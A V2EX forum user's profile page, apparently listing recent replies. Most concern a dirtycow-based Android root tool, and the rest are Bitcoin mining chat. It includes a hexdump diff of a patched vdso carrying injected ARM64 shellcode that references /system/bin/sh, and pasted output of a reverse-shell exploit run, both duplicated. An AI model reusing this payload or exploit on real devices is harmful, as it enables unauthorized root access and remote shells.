tyeken8 最近的时间轴更新 tyeken8 最近的时间轴更新 |
tyeken8V2EX 第 9768 号会员，加入于 2011-06-27 15:33:38 +08:00 |
tyeken8 最近回复了
2017-01-22 23:17:54 +08:00 回复了 hyln9 创建的主题 › Android › 搞了一个基于 dirtycow 的 Android 的 root 工具 |
@hyln9
$ diff <(hexdump -C vdso_orig.so) <(hexdump -C vdso_patched.so)
52c52
< 00000330 1f 00 00 71 04 18 41 7a 81 02 00 54 e2 03 1e aa |...q..Az...T....|
---
> 00000330 f0 03 1e aa ea 02 00 94 81 02 00 54 e2 03 1e aa |...........T....|
171a172,190
> 00000ed0 00 00 00 00 00 00 00 00 00 00 00 00 e0 07 bf a9 |................|
> 00000ee0 c8 15 80 d2 01 00 00 d4 a0 06 00 35 88 15 80 d2 |...........5....|
> 00000ef0 01 00 00 d4 1f 04 00 71 21 06 00 54 00 00 80 52 |.......q!..T...R|
> 00000f00 a1 06 00 10 02 18 80 52 03 38 80 52 08 07 80 d2 |.......R.8.R....|
> 00000f10 01 00 00 d4 1f 04 40 b1 28 05 00 54 20 02 80 d2 |......@.(..T ...|
> 00000f20 01 00 80 d2 02 00 80 d2 03 00 80 d2 04 00 80 d2 |................|
> 00000f30 88 1b 80 d2 01 00 00 d4 20 04 00 35 40 00 80 d2 |........ ..5@...|
> 00000f40 21 00 80 d2 02 00 80 d2 c8 18 80 d2 01 00 00 d4 |!...............|
> 00000f50 e3 03 00 aa a1 04 00 10 02 02 80 d2 68 19 80 d2 |............h...|
> 00000f60 01 00 00 d4 60 02 00 35 e0 03 03 aa 02 00 80 d2 |....`..5........|
> 00000f70 01 00 80 d2 08 03 80 d2 01 00 00 d4 21 00 80 d2 |............!...|
> 00000f80 08 03 80 d2 01 00 00 d4 41 00 80 d2 08 03 80 d2 |........A.......|
> 00000f90 01 00 00 d4 e0 02 00 10 02 00 80 d2 e0 03 00 f9 |................|
> 00000fa0 e2 07 00 f9 e1 03 00 91 a8 1b 80 d2 01 00 00 d4 |................|
> 00000fb0 00 00 80 d2 a8 0b 80 d2 01 00 00 d4 e0 07 c1 a8 |................|
> 00000fc0 f1 03 1e aa fe 03 10 aa 1f 00 00 71 04 18 41 7a |...........q..Az|
> 00000fd0 20 02 1f d6 2f 64 61 74 61 2f 6c 6f 63 61 6c 2f | .../data/local/|
> 00000fe0 74 6d 70 2f 2e 78 00 00 02 00 04 d2 7f 00 00 01 |tmp/.x..........|
> 00000ff0 2f 73 79 73 74 65 6d 2f 62 69 6e 2f 73 68 00 00 |/system/bin/sh..|
（完整 dump 已发到邮箱）
$ diff <(hexdump -C vdso_orig.so) <(hexdump -C vdso_patched.so)
52c52
< 00000330 1f 00 00 71 04 18 41 7a 81 02 00 54 e2 03 1e aa |...q..Az...T....|
---
> 00000330 f0 03 1e aa ea 02 00 94 81 02 00 54 e2 03 1e aa |...........T....|
171a172,190
> 00000ed0 00 00 00 00 00 00 00 00 00 00 00 00 e0 07 bf a9 |................|
> 00000ee0 c8 15 80 d2 01 00 00 d4 a0 06 00 35 88 15 80 d2 |...........5....|
> 00000ef0 01 00 00 d4 1f 04 00 71 21 06 00 54 00 00 80 52 |.......q!..T...R|
> 00000f00 a1 06 00 10 02 18 80 52 03 38 80 52 08 07 80 d2 |.......R.8.R....|
> 00000f10 01 00 00 d4 1f 04 40 b1 28 05 00 54 20 02 80 d2 |......@.(..T ...|
> 00000f20 01 00 80 d2 02 00 80 d2 03 00 80 d2 04 00 80 d2 |................|
> 00000f30 88 1b 80 d2 01 00 00 d4 20 04 00 35 40 00 80 d2 |........ ..5@...|
> 00000f40 21 00 80 d2 02 00 80 d2 c8 18 80 d2 01 00 00 d4 |!...............|
> 00000f50 e3 03 00 aa a1 04 00 10 02 02 80 d2 68 19 80 d2 |............h...|
> 00000f60 01 00 00 d4 60 02 00 35 e0 03 03 aa 02 00 80 d2 |....`..5........|
> 00000f70 01 00 80 d2 08 03 80 d2 01 00 00 d4 21 00 80 d2 |............!...|
> 00000f80 08 03 80 d2 01 00 00 d4 41 00 80 d2 08 03 80 d2 |........A.......|
> 00000f90 01 00 00 d4 e0 02 00 10 02 00 80 d2 e0 03 00 f9 |................|
> 00000fa0 e2 07 00 f9 e1 03 00 91 a8 1b 80 d2 01 00 00 d4 |................|
> 00000fb0 00 00 80 d2 a8 0b 80 d2 01 00 00 d4 e0 07 c1 a8 |................|
> 00000fc0 f1 03 1e aa fe 03 10 aa 1f 00 00 71 04 18 41 7a |...........q..Az|
> 00000fd0 20 02 1f d6 2f 64 61 74 61 2f 6c 6f 63 61 6c 2f | .../data/local/|
> 00000fe0 74 6d 70 2f 2e 78 00 00 02 00 04 d2 7f 00 00 01 |tmp/.x..........|
> 00000ff0 2f 73 79 73 74 65 6d 2f 62 69 6e 2f 73 68 00 00 |/system/bin/sh..|
（完整 dump 已发到邮箱）
2017-01-22 15:11:13 +08:00 回复了 hyln9 创建的主题 › Android › 搞了一个基于 dirtycow 的 Android 的 root 工具 |
2017-01-21 23:20:27 +08:00 回复了 hyln9 创建的主题 › Android › 搞了一个基于 dirtycow 的 Android 的 root 工具 |
@postlive 重启手机试试
2017-01-21 22:00:53 +08:00 回复了 hyln9 创建的主题 › Android › 搞了一个基于 dirtycow 的 Android 的 root 工具 |
Xperia X Performance
Android 6.0.1
Security Patch Sept. 1 2016
Kernel version 3.18.20-perf-g776b104-02162-g4156bdb #1 SMP PREEMPT Fri Oct 7 19:01:11 2016 aarch64
shell@SOV33:/data/local/tmp $ ./exploit 12345
>>> Reverse shell target: 127.0.0.1:12345
>>> Exploit process starts.
>>> Inject: patch 1/2
>>> Inject: patch 2/2
>>> Please wake up you phone now.
>>> Waiting for reverse connect shell.
然后就卡住了
请问可能的原因是什么，有什么解决方法？
（记得我之前用另外的 exploit 成功拿到了 root shell ，但是没有 bypass selinux
Android 6.0.1
Security Patch Sept. 1 2016
Kernel version 3.18.20-perf-g776b104-02162-g4156bdb #1 SMP PREEMPT Fri Oct 7 19:01:11 2016 aarch64
shell@SOV33:/data/local/tmp $ ./exploit 12345
>>> Reverse shell target: 127.0.0.1:12345
>>> Exploit process starts.
>>> Inject: patch 1/2
>>> Inject: patch 2/2
>>> Please wake up you phone now.
>>> Waiting for reverse connect shell.
然后就卡住了
请问可能的原因是什么，有什么解决方法？
（记得我之前用另外的 exploit 成功拿到了 root shell ，但是没有 bypass selinux
2011-07-13 09:33:08 +08:00 回复了 darthseer 创建的主题 › Bitcoin › 冷笑话：Bitcoin乃是AMD的阴谋，又是云计算的杯具 |
云计算？你指的是网格计算么？
2011-06-27 23:49:23 +08:00 回复了 Rice 创建的主题 › Bitcoin › 大家的挖矿速度是多少？我是HD5750 |
5830 321M
2011-06-27 16:10:46 +08:00 回复了 Rice 创建的主题 › Bitcoin › 大家的挖矿速度是多少？我是HD5750 |
@tyeken8 Sapphire Xtreme 1030/300 Phoenix phatk VECTORS BFI_INT FASTLOOP=false AGGRESSION=14
2011-06-27 15:55:52 +08:00 回复了 Rice 创建的主题 › Bitcoin › 大家的挖矿速度是多少？我是HD5750 |
@chenshaoju 哪里都能见到少举=v= 拿公司电脑挖矿=。=
Select Language